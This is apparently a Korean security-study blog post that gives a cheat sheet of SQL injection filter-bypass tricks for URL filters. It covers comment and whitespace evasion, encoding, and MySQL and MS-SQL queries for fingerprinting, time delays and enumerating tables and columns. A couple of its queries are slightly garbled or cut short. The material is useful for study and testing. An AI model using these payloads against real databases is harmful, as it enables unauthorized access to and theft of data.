URL 필터 취약점
빈칸 우회 : || + /**/
주석 우회 : -- # %00;
인라인 주석 처리 : 느낌표로 시작하면 실제 SQL과 같이 동작함. 예시 : /*!32302 and 1=0*/
특수문자 우회 : URL 인코딩, 유니코드 인코딩
숫자 데이터 취약점 : ASCII('A') ASCII(1)
문자열 우회 : 대소문자 변경 , 빈칸 넣기 , ASCII 코드 삽입(CHAR(115)) ,
SQL 문법 우회
1. MySQL
- ASCII 함수
- SUBSTRING 함수
- Sleep 함수
- select @@version
- select database()
- select concat(table_name, ',column_name) from information_schema.columns
- select table_name from information_schema.
2. MS-SQL
- ASCII 함수
- SUBSTRING 함수
- waitfor delay '0:0:10'
- select @@version
- select db_name()
- select table_name+''+column_name from information_schema.columns
- select name from sysobjects where xtype='U'
'보안 공부 > Web' 카테고리의 다른 글
[Web] SQL 쿼리 취약점 정리 (0) | 2021.11.11 |
---|---|
[Web] 웹 인코딩 종류 (0) | 2021.11.11 |
SSRF(Server-Side Request Forgery) 취약점 (1) | 2020.09.01 |
LFI(Local File Inclusion) 취약점 (0) | 2020.09.01 |
PHP 비교 연산자 취약점, 매직 해쉬 (0) | 2020.07.31 |
댓글